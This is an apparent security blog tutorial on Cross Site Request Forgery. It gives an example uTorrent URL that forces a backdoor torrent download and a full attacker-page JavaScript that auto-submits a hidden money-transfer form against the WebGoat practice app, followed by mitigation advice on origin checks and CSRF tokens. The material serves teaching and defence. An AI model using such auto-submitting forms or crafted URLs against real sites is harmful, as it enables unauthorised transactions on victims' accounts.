The Tricky one-click attack: CSRF
Introduction to Cross Site Request Forgery
14 December 2016
In today’s world of information technology, web based attacks are quite threatening to the organizations causing great impact in terms of data breaches, financial losses and reputation crisis. These attacks are growing at a very tremendous rate and if proper security measures are not taken beforehand then this could lead to serious setbacks for the organizations.
In this blog, we have discussed about one of the trickiest and un-noticed web based attacks, which is also listed under the top-10 web based attacks by OWASP i.e. Cross Site Request Forgery. The blog also includes a small demo on performing the CSRF attack and mitigation steps that are required to secure the web applications from this attack.
Introduction
Cross Site Request Forgery (CSRF) also known as XSRF or one-click attack is a web-based attack which allows an attacker to perform malicious/desired actions on a trusted website using victim’s authentication tokens (cookies), from victim’s browser itself through the use of http/https link crafted by the attacker.
To make it simple, if a victim is logged-in to a legitimate website vulnerable to CSRF and at the same time an attacker is able to craft a reproducible link found on a website, with a specific action on the target page. Then the attacker embeds this link on some webpage and tricks the victim to open it. Once the victim somehow opens this link, the malicious/desired action crafted by the attacker is performed unknowingly by the victim.
Example of CSRF vulnerabilities found in most commonly used applications.
- Number of illicit money transfers were made by attackers using CSRF vulnerability found in online banking web application of ING Direct.
- The uTorrent’s web console was also vulnerable to CSRF which allowed attackers to perform mission-critical actions through simple get requests.
E.g. forcing a malicious .torrent file download:
http://localhost:8080/gui/?action=add-url&s=http://doodlesec.com/backdoor.torrent
So, CSRF is a security problem which allows an attacker to take advantage of the identity of legitimate user to perform unwanted actions/requests on the web server.
Demo Tutorial
For performing the demo we have used WebGoat by OWASP which is an open source vulnerable web-application in Java to practice various web-based attacks.
NOTE: Kindly don’t perform this attack on any other website which is not owned by you. This is only for demonstration purposes
Loading… Please Wait.
OK.
- So to start off with, we have WebGoat Banking System that has money transfer page which is vulnerable to CSRF.
- Next, a legitimate user logins to the WebGoat Banking System and establishes a successful session with the website
- At the same time when the legitimate user is logged-in to the WebGoat Banking System, the attacker crafts a link that contains the same form as that of the banking website. But the form is hidden to the victim. Following is the source-code for the web-page created by the attacker.
www.AttackersWebSite.com/index.html
Source :-
<html>
<head>
<title>Form</title>
</head>
<body></body>
<script type=”text/javascript”>
function post(path, params, method)
{
method = method || “post”;
// Creating the form using DOM
var form = document.createElement(“form”);
form.setAttribute(“method”, method);
form.setAttribute(“action”, path);
// Setting form elements and its values
for (var key in params)
{
if(params.hasOwnProperty(key))
{
var hiddenField = document.createElement(“input”);
hiddenField.setAttribute(“type”, “hidden”);
hiddenField.setAttribute(“name”, key);
hiddenField.setAttribute(“value”, params[key]);
//<input type=’hidden’ name=’name’ value=’dy’>
form.appendChild(hiddenField);
}
}
// Adding the form with hidden fields
document.body.appendChild(form);
// Submitting the form
form.submit();
}
// Crafting the request to the WebGoat Banking system
post(‘http://darkarmy123.doodlesec.com/attack’,{Screen: ’68’, menu: ‘400’, form: ‘ajax’, newAccount: ‘123’, amount: ‘123’, confirm: ‘Transferring’}, ‘GET’);
</script>
</html>
- The attacker hosts this page on its own web-server and sends the link of that page to the victim through email or various social media platform and tricks the user to click on the provided link.
- Once the user clicks the link, the webpage automatically transfers the money to the attacker’s back account from the victim’s account using the victim’s session and victim remains unaware of the transaction.
You can see how powerful CSRF is, which lead to critical actions being performed on victim’s account with just single click.
Mitigation Techniques
As such there is no full proof technique to secure the web-app from this attack. But there are few measures that can be taken at the coding stage of the web-app which can help securing the website.
Following are some of the remedies for CSRF:
- Check the http headers to verify the request
We can check the Origin header if present in the request’s header section to verify whether the request is received from same Origin as that of the main site URL. If in any case Origin header is missing, we can investigate the Referer header whether it’s same as original site.
- CSRF Random Token
If both the headers are not present in the request we can use CSRF tokens in the application. This CSRF token needs to be random long token generated from any strong cryptographic algorithm. A new CSRF token should be set for each session of per-state activity on the application. Also, for a note CSRF token is usually set on the hidden field of the web-form and send via POST requests only.
This vulnerability is generally off seen by the developers and remains un-noticed until the end users are affected adversely by it. So, it is generally recommended to take the necessary mitigation steps mentioned above at the coding stage itself to secure the web-application from the CSRF attack and do include this in your Security Code Review Checklist. Also, as a general security guideline, never ever open any link or visit any website from any untrusted sources and don’t be fooled by social engineering tricks by the attackers.
(Contributed By: Divyansh Yadav who is currently working as an iOS developer at Lean Apps. He likes solving security challenges in his free time and has good knowledge of python and linux. Apart from that he likes to trek.)
